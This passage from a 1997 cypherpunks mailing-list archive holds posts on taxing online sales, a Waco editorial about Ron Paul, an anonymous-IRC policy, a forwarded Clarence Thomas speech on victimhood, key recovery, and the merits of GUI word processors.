>     Ohio, say a store or a trucking company, then sales tax could be
>     charged. But an out-of-state mail-order company that ships a
>     product via common carrier doesn't have to charge sales tax.
>     
>     However, buyers should pay a "use tax" on items once they receive
>     them, he says. "But no one does," Dunn says.
>     

No kidding. 

>     
>     The difficulty comes in determining how to collect such a tax, says
>     Julie Carpenter, spokeswoman for the Ohio Department of Taxation.
>     Right now, there's no way for the state to police all the goods
>     that are bought elsewhere but used here.
>     
>     "An Ohio taxpayer's obligation is to pay the tax," she says.
>     "Realistically, is this going to happen? Probably not, without
>     guidelines and some oversight."

Read "tyranny."

>     
>     Online purchases are even murkier because the Net's unique nature
>     allows some products such as music, software or electronic
>     magazines, to be downloaded, Duncan says.
>     
>     While a CD purchased in a store can be taxed, how can a government
>     collect on a few megabytes sent over the Internet?

It can't. Too bad.

>     
>     The electronic commerce project is looking at a billing address
>     approach, Duncan says. If the commerce terminates in a state and is
>     billed to someone in that state, then that state could make a
>     strong case for collecting taxes on the commerce.

However, since a merchant delivering goods electronically doesn't know where his customer physically resides (and why would they want to) the merchant has plausible deniability.  However, this is one more reason government will press for Net drivers licenses.

>     Because of these and other issues, Duncan doesn't expect project
>     members to have a grasp of the issue until sometime next summer.

After this grasp will come the gasp, as they are forceed to admit that without a constitutional amendment allowing states greater control of interstate commerce (an unlikely event) they aren't likely to get their hands on this money.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 07:38:25 +0800
To: cypherpunks@ssz.com
Subject: Paul.html
Message-ID: <199712292353.RAA03989@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   8:00 PM 2/27/1997
   
Too Far

  Rep. Paul's comments about Waco irresponsible
  
   
   
   U.S. Rep. Ron Paul, R-Surfside, said on C-SPAN that he lived in fear
   of being "bombed by the federal government in another Waco." Paul has
   embarrassed himself, his constituents and the state of Texas.
   
   The congressman needs to put aside his hysteria long enough to
   remember the facts of the standoff between federal agents and the
   Branch Davidians:
   
   Members of the cult gunned down federal agents who had come to serve a
   search warrant at the Davidian compound, which they accurately
   believed to contain automatic weapons and other illegal armaments.
   Before that, the group's leader had sexually assaulted several
   children of his followers.
   
   The FBI allowed the group weeks to lay down its arms and surrender.
   Some members and their children did surrender and received every
   consideration from authorities; others set fire to their own building,
   causing the deaths of 81 people, including 25 children.
   
   Paul is wrong to state that the government bombed the Davidians and to
   imply further that Americans should fear that their lives might be
   ended any moment by murderous, renegade federal law enforcement
   officers. His irresponsible remarks encourage the irrational fears
   that were the root cause of the Davidian tragedy and make similar
   confrontations more likely.
   
   Rep. Chet Edwards of Waco perhaps had the best advice for Paul. If the
   congressman really fears he will be bombed by federal agents, he
   should leave Washington.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 30 Dec 1997 08:22:47 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Paul.html
Message-ID: <199712300011.TAA04146@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/29/97 6:53 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>   8:00 PM 2/27/1997
>   
>Too Far
>
>  Rep. Paul's comments about Waco irresponsible
>    
>U.S. Rep. Ron Paul, R-Surfside, said on C-SPAN that he lived in fear
>of being "bombed by the federal government in another Waco." Paul has

 Who wrote this Jim, some of his statemenst don't jive with other
mainstream news accounts of what happened, let alone what really
happened.

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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Journeys are about discovery, about lives touching briefly and then 
parting,
  except on the Internet, where distant lives can intertwine, and where a 
  journey of discovery never has to end." -- 	Jim Heid






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@rigel.cyberpass.net>
Date: Tue, 30 Dec 1997 12:07:40 +0800
To: cypherpunks@rigel.cyberpass.net
Subject: Anonymous IRC (was "Cypherpunks IRC Christmas Eve Party")
Message-ID: <199712300356.TAA19973@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




We found IRC users to be so involved in petty information wars --
ping floods, malicious prank hacking, and the like -- that we directed
policy against use of IRC from the anonymous shell accounts at CyberPass.

If IRC users weren't so easily lulled by the tempation to crash a server
or run malicious bots or just plain irritate other people for fun, and
if they would gang up and kick out people who did that, then perhaps we'd
switch that back on.

They were just too much overhead. Everyone else seems pretty nice, really,
as far as the system goes. They're all self-interested in keeping the
anonymous publishing and so on going, so the peace keeps itself.

Mark Hedges
Infonex and Anonymizer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 10:30:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: thomas.html (fwd)
Message-ID: <199712300247.UAA04526@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Mon Dec 29 20:38:05 1997
Date: Mon, 29 Dec 1997 20:38:04 -0600
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712300238.UAA04509@einstein.ssz.com>
X-within-URL: http://www.courttv.com/library/rights/thomas.html
To: friends@ssz.com
Subject: thomas.html


    Court TV Library 
   
  Justice Thomas on 'Heroes and Victims'
  
    Legal Times
    
   
   
   Clarence Thomas may keep a lower profile than many of his colleagues
   on the Supreme Court bench. But when he does speak out, he almost
   always makes an impact. That was the case late last month, when Thomas
   made headlines with a speech excoriating what he termed "the modern
   ideology of victimhood."
   
   In his remarks, delivered to the Federalist Society's Ninth Annual
   Lawyers Convention, Thomas criticized contemporary society for
   exalting victims -- in not only the political realm, but in the courts
   as well. He marveled at the breadth and depth of the victim mentality,
   finding irony in the white men today who, "preoccupied with
   oppression," have "fallen prey to the very aspects of the modern
   ideology of victimology that they deplore." And, sounding a classic
   conservative theme, Thomas concluded that "the idea that government
   can be the primary instrument for the elimination of misfortune is a
   fundamental misunderstanding of the human condition."
   
   The full text of Thomas' speech, delivered Sept. 22 in Washington,
   D.C., follows. It is reprinted with permission.
     _________________________________________________________________
   
   
   
   I would like thank my friends here at the Federalist Society for once
   again inviting me to be a part of an important and timely conference.
   And I would like to begin by returning to a topic I touched upon in my
   last speech at a conference co-sponsored by this organization:
   personal responsibility. It says something about the current state of
   affairs in our society that a conference on victims -- that is, a
   conference on the rise of the practice of blaming circumstances for
   one's situation rather than taking responsibility for changing things
   for the better -- is even necessary.
   
   As many of you have heard me say before, the very notion of submitting
   to one's circumstances was unthinkable in the household in which I was
   raised. The mere suggestion that difficult circumstances could prevail
   over individual effort would evoke a response that my brother and I
   could lip-sync on cue: "Old man 'can't' is dead; I helped bury him."
   Or, another favorite response: "Where there is a will, there is a
   way." Under this philosophy -- the essential truth of which we all
   recognize in our hearts -- victims have no refuge.
   
   It may have seemed harsh at the time to be told that failure was one's
   own fault. Indeed, there may have been many circumstances beyond our
   control. But there was much that my family and my community did to
   reinforce this message of self-determination and self-worth, thereby
   inoculating us against the victim plague that was highly contagious in
   the hot, humid climate of segregation.
   
   What has become clear to me over the years, as I have witnessed the
   transformation of our society into one based upon victims rather than
   heroes, is that there is a more positive message to be gained from
   adversity: Success (as well as failure) is the result of one's own
   talents, morals, decisions, and actions. Accepting personal
   responsibility for victory as well as for defeat is as liberating and
   empowering as it is unpopular today. Overcoming adversity not only
   gives us our measure as individuals, but it also reinforces those
   basic principles and rules without which a society based upon freedom
   and liberty cannot function.
   
   In those years of my youth, there was a deep appreciation of heroes
   and heroic virtue. Art, literature, and even popular culture (unlike
   today) often focused on people who demonstrated heroic virtues --
   courage, persistence, discipline, hard work, humility, triumph in the
   face of adversity, just to mention a few. These building blocks of
   self-reliance were replicated and reinforced at home, school, and
   church. The "rags to riches" Horatio Alger stories were powerful
   messages of hope and inspiration to those struggling for a better
   life. And many of us used to read and dream about heroes -- not to
   mention our favorite television heroes, something perhaps unbelievable
   these days. I am certain that many of you who attended grammar school
   in the 1950s or earlier probably remember reading a favorite account
   of the integrity and work ethic of George Washington, or of Abraham
   Lincoln, or of George Washington Carver, or even of some baseball or
   football legend. It seemed that we all had heroes (not role models, a
   term of far more recent vintage). Indeed, it would have been odd for a
   child of several decades ago not to have had a hero.
   
   But today, our culture is far less likely to raise up heroes than it
   is to exalt victims -- individuals who are overcome by the sting of
   oppression, injustice, adversity, neglect, or misfortune. Today,
   victims of discrimination, racism, poverty, sickness, and societal
   neglect abound in the popular press. Today, there are few (if any)
   heroes. Often, it seems that those who have succumbed to their
   circumstances are more likely to be singled out than those who have
   overcome them.
   
   What caused this cultural shift -- from an emphasis on heroes to a
   preoccupation with victims? Why are there more victims and virtually
   no heroes recognized today? Why in years past was there much less of
   an emphasis on victimage?
   
   I think two things contributed to this change in the state of affairs.
   The first is that our political and legal systems now actively
   encourage people to claim victim status and to make demands on society
   for reparations and recompense. The second is that our culture
   actually seeks to denigrate or deconstruct heroes. Why would a
   civilized society travel down two such destructive paths? Why has it
   become no more admirable to rise valiantly above one's circumstances
   than it is to submit to them -- all the while aggressively
   transferring responsibility for one's condition to others?
   
   Let's begin with our political and legal systems -- how have they
   contributed to this state of affairs? The classical conception was
   that government and the law were meant to ensure freedom and equality
   of opportunity by giving people the most room possible for
   self-provision and self-determination. James Madison made this point
   in The Federalist Papers when he observed that the "protection" of the
   "diversity of faculties in men" was the "first object" of government.
   And, in more recent times, the great political economist Friedrich von
   Hayek -- who witnessed totalitarianism first-hand -- made a similar
   point when he observed that "the chief aim of freedom is to provide
   both the opportunity and the inducement to insure the maximum use of
   the knowledge that an individual can acquire."
   
   Between the New Deal and the 1960s, a far different view began to hold
   sway -- namely, that the role of the state was to eliminate want,
   suffering, and adversity. Freedom was no longer simply a right to
   self-provision and self-determination, but was instead a right to make
   demands on government and society for one's well-being and happiness.
   That is the import of Franklin Roosevelt's "Citizen Bill of Rights,"
   which spoke of freedom from want -- rights to minimum income, housing,
   and other "adequate protections from economic fears." And, I think it
   is axiomatic that the call for such new rights (if not claims) became
   ever more prevalent in the 1950s and 1960s.
   
   No doubt, this gradual transformation in ideas took root and
   flourished (at least in part) because of the aggregate growth in
   wealth and resources we were witnessing in this country during the
   course of the 20th century. Against the background of this prosperity,
   poverty stood out in bold relief and in uncomfortably stark contrast
   -- even as the number of people suffering from it shrank. It is not
   surprising that people began to think that, in a world of seemingly
   unlimited resources, adversity could be eliminated, or, at the very
   least, remedied. The ideal of the "benevolent state" took hold. In our
   "enlightened" society, neglect, misfortune, and injustice did not have
   to be accepted as inevitable facts of life. Good government and laws
   could step in when necessary, as many believed they had successfully
   done during two World Wars, the Great Depression, and the civil rights
   movement.
   
   If one assumes that suffering and adversity can be eliminated, but
   sees a number of people continuing to suffer from adversity or
   misfortune, then there must be some forces in society that relegate
   the "have nots" to this fate. Or, at the very least, the less
   fortunate are being ignored. Those facing adversity, hence, are
   victims of a society that is not doing as much as it could (if it so
   desired), and these victims can (and should) stake a legitimate claim
   against the political and legal systems for recompense. In this view,
   neglect or selfishness on the part of society and government is
   responsible for the sting of oppression, injustice, and misfortune
   that the unfortunate and "have nots" feel today.
   
   In light of this modern ideology, is it any surprise that people
   identify themselves as victims and make demands on the political
   systems for special status and entitlements? Our culture expects (and,
   indeed, encourages) people to do exactly that. Consider, for example,
   the creation and continued expansion of the welfare state and other
   social programs in this country. How often have we heard proponents of
   these programs lull the poor into thinking that they are hopeless
   victims, incapable of triumphing over adversity without "benevolent
   intervention" by the state? How often have we heard these proponents
   encouraging the less fortunate in our society to become indignant
   about their situation in life and more demanding on the political
   system to find solution to their problems?
   
   It is not only in the political system, though, that we see our
   society and its leaders succumbing to the modern ideology of
   victimhood. As with the political system, people today also are
   strongly encouraged to make demands on the legal system by claiming
   victim status. Indeed, the legal system has, in many ways, become a
   significant driving force behind the modern ideology of victimhood.
   Courts are viewed as an effective means of forcing (or at least
   pressuring) political institutions into meeting demands for protected
   status and new rights or entitlements.
   
   Pointing to perceived "victimization" by "the system" or by others in
   society, our legal culture has often told the least fortunate in our
   society that their last hope is to claim special legal rights and
   benefits, or to seek exoneration for the harmful, criminal
   consequences of their acts. The least fortunate are encouraged to turn
   to legal arguments that admit defeat and that challenge the moral
   authority of society. In these ways, courts are called upon to solve
   social problems -- by creating special rules, and by crafting remedies
   that will satisfy the claims and demands of victim groups but that do
   not apply to all of us.
   
   Appealing to the legal system, though, was not as easy a task as
   making demands on the political system. Our legal system has
   traditionally required that redress for grievances only be granted
   after very exacting standards have been met. There had to be, for
   example, very distinct, individualized harm. And, the definition of
   harm was circumscribed by a traditional understanding of adjudication
   under the common law, where narrow disputes regarding traditional
   property rights were resolved among private parties who could not
   settle matters on their own. Very generalized claims of misfortune or
   oppression or neglect -- the kinds of assertions made in the political
   system -- would not easily fit into this common mold of court
   activity. It would not be enough for people to be indignant, angry,
   and demanding about their situation in life. There would have to be an
   assertion of a legal wrong and a persuasive argument that a legal
   remedy was available.
   
   The pressure of victimology "revolutionized" -- and that word does not
   always have positive connotations -- the courts and the law. For those
   in our culture seeking to use the courts as agents of social change,
   poverty, unemployment, social deviancy, and criminal behavior were not
   just unfair conditions in our society that could be eliminated if only
   people or politicians cared. Instead, these abstract problems were
   personified as the direct actions of local schools, churches,
   businesses, and other social institutions so that they could be sued
   for causing individualized harm to the victims. Based on this new kind
   of harm -- a kind of legalistic understanding of "victimage" -- the
   courts were said to be obligated to recognize special rights and
   protected status under the law.
   
   Take, for example, welfare rights and due process. Beginning with
   Goldberg v. Kelly, 397 U.S. 254 (1970), our cases underscored the
   importance of welfare as a means of preventing social malaise,
   promoting the general welfare, and securing the blessings of liberty
   for all Americans. The rights to life, liberty, and property were, in
   effect, transformed from freedom from government interference into a
   right to welfare payments. There are countless other examples in legal
   literature and judicial opinions -- some have argued that inner city
   minorities and the poor should not be held responsible for the
   consequences of their criminal acts because of oppression and
   misfortune; and, of course, there is the debate now raging about
   preferences based on sex, race, and ethnicity.
   
   This change in our political and legal systems has been accompanied by
   the rise of the "victim group." These groups are quite useful to
   public officials for building coalitions for future political support
   and legitimacy, as well. And, for the courts, "victim groups" provide
   useful justification or cover for energizing the legislative process,
   changing the legislative agenda, forcing reconsideration of spending
   priorities, and transforming public debate.
   
   But the rise of victimhood, and its perpetuation by government and the
   law, is only part of the modern tragedy. There is also the dearth of
   heroes in our culture. Significantly, as the number of these "victim
   groups" has escalated, there has been a corresponding decline in the
   amount of attention that our culture has paid to heroes or, even
   worse, a conscious attempt to cheapen their achievements. Today,
   success or a commitment to fighting for noble ideas is attributed to
   self-interest, revenge, self-aggrandizement, insecurity, or some
   psychological idiosyncrasy.
   
   Just thumb through recently published biographies in the library or
   bookstore -- in many of them, it is not a conscious effort to be
   virtuous or to do good, but instead a series of unforeseeable and
   external forces, that lead to greatness or success. And, in many of
   these biographies, we are introduced to the uncut, "never before seen"
   foibles, mistakes, and transgressions of people our culture idealized
   for centuries. The message: that these so-called heroes are really
   just regular people capable of folly and vice who happened to have a
   few good breaks.
   
   In Democracy in America, Alexis de Tocqueville anticipated this state
   of affairs when he said: "Historians who live in democratic times do
   not only refuse to admit that some citizens may influence the destiny
   of a people, but also take away from the people themselves the faculty
   of modifying their own lot and make them depend on an inflexible
   providence or a kind of blind fatality."
   
   Now, the problem these days is not that there are no people who should
   be singled out as heroes. Rather, as Daniel Boorstin suggests in his
   book, The Image, society is preoccupied with celebrities. And heroism
   and celebrity status are two very different things. The word "hero"
   refers to people of great strength, integrity, or courage who are
   recognized and admired for their accomplishments and achievements. The
   word "celebrity," on the other hand, refers to a condition -- the
   condition of being much talked about. It is a state of notoriety or
   famousness. As Boorstin says, "A celebrity is a person who is known
   for his well-knownness." Thus, while a hero is distinguished by his
   achievement, celebrities are created by the media and are simply a
   trademark. Celebrities are, in short, neither good nor bad -- they are
   just a big name. Publicity is the defining feature of a celebrity's
   existence, and, unlike a hero who will become greater as time passes,
   time destroys celebrities. Over time the glare of publicity, as
   Boorstin notes, melts away the celebrity by shedding light and heat on
   his vices and commonplaceness.
   
   This pattern of ignoring and deconstructing heroes -- and focusing
   instead on the ephemeral celebrity who is known for his well-knownness
   rather than character or individual worth -- stems from the rise of
   radical egalitarianism. In the 1960s, many of the cultural elite saw a
   need to ensure absolute equality. On this view, differences in ability
   and level of achievement are random or uncontrolled; and to permit
   these characteristics to dictate human happiness and well-being would
   therefore be unfair. Celebrity status, in contrast, is not a problem
   for egalitarians, for as Boorstin notes, "anyone can become a
   celebrity, if only he can get into the news and stay there."
   Certainly, real achievement is not necessarily required.
   
   It should surprise no one that our culture now has far less difficulty
   recognizing celebrities than it does those who achieve success as a
   result of personal effort and character traits that we traditionally
   would consider heroic. Denigrating heroic virtue -- in other words,
   chalking heroism up to circumstance -- fits quite well with the notion
   that we must all be the same and that there can be no significant
   differences in our achievement, social standing, or wealth.
   
   Anyone can see what these intellectual currents have done to the
   ideals of human dignity, personal responsibility, and
   self-determination. Preoccupation with victim status has caused people
   to focus covetously on what they do not have in comparison to others,
   or on what has happened to them in the past. Many fail to see the
   freedom they do have and the talents and resources that are at their
   disposal.
   
   Our culture today discourages, and even at times stifles, heroic
   virtues -- fortitude, character, courage, a sense of self-worth. For
   so many, the will, the spirit, and a firm sense of self-respect and
   self-worth have been suffocated. Many in today's society do not expect
   the less fortunate to accept responsibility for (and overcome) their
   present circumstances. Because they are given no chance to overcome
   their circumstances, they will not have the chance to savor the
   triumph over adversity. They are instead given the right to fret and
   complain, and are encouraged to avoid responsibility and self-help.
   This is a poor substitute for the empowering rewards of true victory
   over adversity.
   
   One of my favorite memories of my grandfather is how he would walk
   slowly by the cornfield, admiring the fruits of his labor. I have
   often thought that just the sight of a tall stand of corn must have
   been more nourishing to his spirit than the corn itself was to his
   body.
   
   But the culture of victimology -- with its emphasis on the so-called
   benevolent state -- delivers an additional (and perhaps worse) blow to
   dignity and self-worth. When the less fortunate do accomplish
   something, they are often denied the sense of achievement which is so
   very important for strengthening and empowering the human spirit. They
   owe all their achievements to the "anointed" in society who supposedly
   changed the circumstances -- not to their own efforts.
   
   Long hours, hard work, discipline, and sacrifice are all irrelevant.
   In a world where the less fortunate are given special treatment and
   benefits -- and, significantly, where they are told that whatever
   gains or successes they have realized would not be possible without
   protected status and special benefits -- the so-called beneficiaries
   of state-sponsored benevolence are denied the opportunity to derive
   any sense of satisfaction from their hard work and self-help. There is
   not a one among us who views what others do for us the same way we
   view what we do for ourselves. No matter how much we appreciate the
   help, it is still just that -- help, not achievement.
   
   It also bears noting that our culture's preoccupation with grouping
   victims has balkanized society. The "we/they" mentality of calling
   oneself a victim of society breeds social conflict and calls into
   question the moral authority of society. The idea that whole groups or
   classes are victims robs individuals of an independent spirit -- they
   are just moving along with the "herd" of other victims. Such
   individuals also lack any incentive to be independent, because they
   know that as part of an oppressed group they will neither be singled
   out for the life choices they make nor capable of distinguishing
   themselves by their own efforts.
   
   As victim ideology flourishes and people are demoralized by its grip,
   more and more people begin to think that they must claim victim status
   to get anywhere in this world. Indeed, is it any surprise that anyone
   and everyone can claim to be a victim of something these days? In his
   book The Abuse Excuse, Alan Dershowitz criticizes countless examples
   of conditions that "victimize" people and thereby release them from
   responsibility for their actions. Here are just a few examples:
   
   x The "black rage defense," which asserts that blacks who are
   constantly subjected to oppression and racial injustice will become
   uncontrollably violent;
   
   x "Urban survival syndrome," which claims that violent living
   conditions justify acts of aggression in the community;
   
   x "Self-victimization syndrome," which maintains that people become
   less productive and creative, and become severely depressed, as a
   result of societal neglect and discrimination.
   
   Most significantly, there is the backlash against affirmative action
   by "angry white males." I do not question a person's belief that
   affirmative action is unjust because it judges people based on their
   sex or the color of their skin. But something far more insidious is
   afoot. For some white men, preoccupation with oppression has become
   the defining feature of their existence. They have fallen prey to the
   very aspects of the modern ideology of victimology that they deplore.
   
   Some critics of affirmative action, for example, fault today's civil
   rights movement for demanding equality yet supporting policies that
   discriminate based on race. These critics expect the intended
   beneficiaries of the civil rights regime to break away from the
   ideology of victimhood: to cherish freedom, to accept responsibility,
   and, where necessary, to demonstrate fortitude in the face of
   unfairness.
   
   I do not quarrel with this. But these critics should hold themselves
   to the same standards, resisting the temptation to allow resentment
   over what they consider reverse discrimination to take hold of their
   lives and to get the best of them. They must remember that if we are
   to play the victim game, the very people they decry have the better
   claim to victim status.
   
   Of course, de-emphasizing heroism exacerbates all these problems.
   Human beings have always faced the temptation to permit adversity or
   hate to dominate and destroy their lives. To counter this tendency,
   society had heroes -- people capable of overcoming the very adversity
   or injustice that currently affects today's victims. They rose above
   their circumstances and inherent imperfections. Heroes cherished
   freedom, and tried to accomplish much with what little they had.
   Heroes demonstrated perseverance in the face of adversity and used
   hardship as a means to strive for greater virtue. And heroes accepted
   responsibility -- they did what they did despite fear and temptation,
   and tried to do the right thing when presented with a choice between
   good and evil. It is awfully hard for society to inculcate these
   values without some useful models from the past and present.
   
   I may not have realized it as a child, but my grandfather was a hero
   who had a tremendous impact on my life. He certainly would not be a
   celebrity by today's standards. Though barely able to read and saddled
   with the burdens of segregation, he worked hard to provide for his
   family. He was a deeply religious man who lived by the Christian
   virtues. He was a man who believed in responsibility and self-help.
   And though this could not bring him freedom in a segregated society,
   it at least gave him independence from its daily demeaning clutches.
   
   In all the years I spent in my grandparents' house, I never heard them
   complain that they were victims. Now, they did not like segregation or
   think that it was right. In fact, there was no question that it was
   immoral and that anyone who promoted it was morally reprehensible. But
   there was work to be done. I assure you that I did not enjoy the
   demands he placed on us. I saw no value in rising with the chicken,
   and, unlike him, I was not obsessed with what I will call the "reverse
   Dracula syndrome": that is, fear that the rising sun would catch me in
   bed.
   
   It would not be until I was exposed to the most fortunate and best
   educated in our society that I would be informed that all this time I
   had been a victim. I am sure you can imagine what it was like when I
   returned home to Savannah, and informed my grandparents that with the
   education I had received because of their tremendous foresight and
   sacrifice, I had discovered our oppressed and victimized status in
   society. Needless to say, relations were quite strained and our
   vacation visits were somewhat difficult. My grandfather was no victim
   and he didn't send me to school to become one.
   
   There are many people like my grandfather alive today. The cultural
   elite does not honor them as the heroes they are, but instead views
   them as people who are sadly ignorant of their victim status or who
   have forgotten where they came from. Our social institutions do not
   train today's young to view such people as heroes and do not urge them
   to emulate their virtues.
   
   In idealizing heroic virtue and criticizing the victim ideology of our
   day, I am not saying that society is free from intractable and very
   saddening injustice and harm. That would not be true. But the idea
   that government can be the primary instrument for the elimination of
   misfortune is a fundamental misunderstanding of the human condition.
   There has always been bad and suffering in the world, and we must
   admit that wrongs have been and will continue to be committed. People
   will always be treated unfairly -- we can never eliminate oppression
   or adversity completely, though we can and should fight injustice as
   best we can.
   
   But keep in mind that all of us are easily tempted to think of
   ourselves as victims and thereby permit adversity to be the defining
   feature of our lives. In so doing, we deny the very attributes that
   are at the core of human dignity -- freedom of will, the capacity to
   choose between good and bad, and the ability to endure adversity and
   to use it for gain. Victimhood destroys the human spirit.
   
   I also am not saying that we should expect everyone to be a hero all
   of the time. We humans are weak by our very nature; all of us at times
   will permit hardship to get the very best of us. But having a set of
   norms to guide us and to push us along -- the stuff of heroes -- can
   be a source of great strength. If we do not have a society that honors
   people who make the right choices in the face of adversity -- and
   reject the bad choices -- far fewer people will make the right
   choices. Ultimately, without a celebration of heroic virtue, we throw
   ourselves into the current state of affairs, where man is a passive
   victim incapable of triumphing over adversity and where aggression,
   resentment, envy, and other vice thwart progress and true happiness.
   
   What I am saying is that it requires the leadership of heroes and the
   best efforts of all to advance civilization and to ensure that its
   people follow the path of virtue. And, because of the role law has
   played in perpetuating victim ideology and because of the influence
   law can have in teaching people about right and wrong, lawyers have a
   special obligation here. We should seek to pare back the victimology
   that pervades our law, and thereby encourage a new generation of
   heroes to flourish.
   
   I am reminded of what Saint Thomas Kempis wrote more than 500 years
   ago about the human spirit. His standard is a useful one for thinking
   about the instruction that our law should be offering: "Take care to
   ensure that in every place, action, and outward occupation you remain
   inwardly free and your own master. Control circumstances, and do not
   allow them to control you. Only so can you be a master and ruler of
   your actions, not their servant or slave; a free man. . . ."
   
   Legal Times is an affiliate publication of Court TV.
   
   Copyright (c) 1995, American Lawyer Media L.P.
     _________________________________________________________________
   
   Copyright 1996 by American Lawyer Media, L.P. All Rights Reserved. No
   parts of this site may be reproduced without permission of American
   Lawyer Media. Nothing in this site is intended to constitute legal
   advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Tue, 30 Dec 1997 09:34:00 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: NRA vs. KRA
In-Reply-To: <199712291400.JAA19072@users.invweb.net>
Message-ID: <34A85AF8.3E1FC659@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> 
> In <34A5DCD2.654AC12@avana.net>, on 12/28/97
>    at 12:00 AM, David Miller <dm0@avana.net> said:
> 
> >Some of these players I would expect to sit at the key recovery table,
> >but why SUN?  Any of you California dudes know what's up with that?
> 
> Government Contracts!!
> 
> Remember the Golden Rule: He who has the gold makes the rules.

Oh, yeah.  Thanks for bringing me back to reality.

Let me share with you something a friend in school once told me:

  "Dave -- if you can't figure something out, the answer's
   probably money."

I can't tell you how much time and trouble that one sentence has saved
me in braincycles over the years...

Sometimes we have to be reminded.

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 30 Dec 1997 14:30:41 +0800
To: cypherpunks@Algebra.COM
Subject: Word Processors and GUIs
In-Reply-To: <TFaiie54w165w@bwalk.dm.com>
Message-ID: <v03102806b0ce2de79528@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



This is largely a matter of personal preference (i.e., religious), but I'll
say why I think Wm. Geiger's claims are unconvincing.

At 9:58 PM -0700 12/29/97, William H. Geiger III wrote:

>Lets see how many years before winblows were there computers??
>
>It may be hard to believe for some of the "youngsters" on the list but
>people got quite a bit of work done before the fancy GUI's and the ever
>insistent push to "upgrade" every six months by Micky$loth.

The real boom in productivity has to do with users not having to memorize
various command sequences for various programs.

What the Macintosh made popular (though I won't get into the dangerous
ground of saying it pioneered these ideas--see Note below) was the approach
of having a relatively consistent set of commands across many applications.
And with the commands visible in a menu bar.

(Note: The Symbolics and Xerox Lisp/Smalltalk machines I used in the early
80s had similar features, with pop-up menus of commonly used commands. And,
of course, with even heavier use of object-oriented methodologies than the
Mac could afford to include. The idea of a unified, integrated environment
is an old one, going back at least to Doug Engelbart in the 60s, and
perhaps even further back. And the Bobrow book, "Design of Interactive
Programming Environments," laid out most of the features we now call "GUI."
Or some people call "GUI.")

The effect of this all is profound. It means that a manager or secretary or
whatever doesn't need to write down a bunch of funny commands for Wordstar,
or Emacs, or Autocad...he or she can "muddle through" just by going to the
"File" menu item to open files, save them, make copies, etc. Or to the
"Edit" menu item to make changes, cut and paste, alter fonts, whatever.

Specialists in some particular program of course become proficient even
without a GUI or Menu-based system. But of course most GUI programs (Mac,
of course, and Windows, and most Unices) offer various keyboard shortcuts.

Maybe Wm. Geiger and others dismiss GUI or Menu interfaces as "training
wheels." Perhaps. But it's very useful to have such aids when dealing with
5 or 10 or 30 different programs!

(I started out on a Data General Nova, got a Proc Tech Sol as my first PC,
then a VAX, then an IBM PC, then a Symbolics 3600 Lisp Machine, then a Mac,
and so on. With my PC, moving from one program to another was always
painful, and I had various keyboard overlays (remember those?) to help me
transition from the "Cmd-Shift-Backspace" to select a word in BlueWord
1.00A to "Shift-Doubleclick" to do the same thing in SpreadSheet 1.5. Once
I got my Macintosh, this all ended. No more keyboard overlays...they
weren't needed.)

>A well train and experienced secretary will be much more productive with a
>text-mode WP with a good set of macro's and keyboard accelerators. A mouse
>and a GUI is not only unnecessary but counter-productive.

Which of course explains why corporations are not using Windows or Macs!

I disagree strongly that any corporation is more productive, overall, with
such tools. Granted, a fast typist equipped with some special purpose text
entry system (we used to have Laniers and Wangs as our "secretary
engines"), but that typist will not be constrained by typing in a GUI
window!

But of course most companies, especially larger high tech companies, don't
even have secretaries to type and retype letters, memos, and reports.
Engineers, and even managers, and even very senior managers, type most of
their own stuff these days. (Or so all my friends in Silicon Valley assure
me.)

I started typing all my own technical papers into my own IBM PC back in
'83, using the first version of Microsoft Word. While it is true that I was
being paid to be a scientist, and not a typist, it was far faster for me to
write the papers on my PC, edit them, and so on, than to submit a longhand
(arghh!) copy to a secretary, finagle to get her to work on it, get it back
several days later, find numerous errors I had not put there, and even
missing sentences and paragraphs. And so on.

This experience of mine has been repeated millions of times in corporate
America. Even my old boss, Andy Grove, now types all of his correspondence,
which is now mostly e-mail. Or so he claims.

In this environment, where people at all levels are using multiple
programs--e-mail, word processing, drawing, spreadsheets, math programs,
graphing programs, Web browsers, and so on--it is much more efficient to
have an integrated environment, a common set of basic commands, a GUI.


>I would take a good multi-threaded, multi-tasking, text mode system over
>the drivile that keeps comming out of Redmond, WA. anyday.

I think the quality of lack of quality of word processors is grossly
overrated.

Most features are not used in ordinary writing. I write a *lot* of stuff,
and 99% of what I write is completely nondependent on bells and whistles in
most word processing programs.

(I could digress into discussing writing features I like to use for some
projects, such as MORE's outlining features, or page layout features I use
in FrameMaker. But 99% of my writing is now done for e-mail like this,
using the straightforward text tools of Eudora Pro.)

Most writing is done "typewriter style," with the ability to move words
around just lagniappe.  (And often dangerous lagniappe at that...most
errors creep in when people move words and sentences around, often leaving
them mismatching their surroundings in tense and awkwardly linking to often
leaving them mismatching often leaving them mismatching...see what I mean?)

Good writing comes from good writers, not from word processing programs.
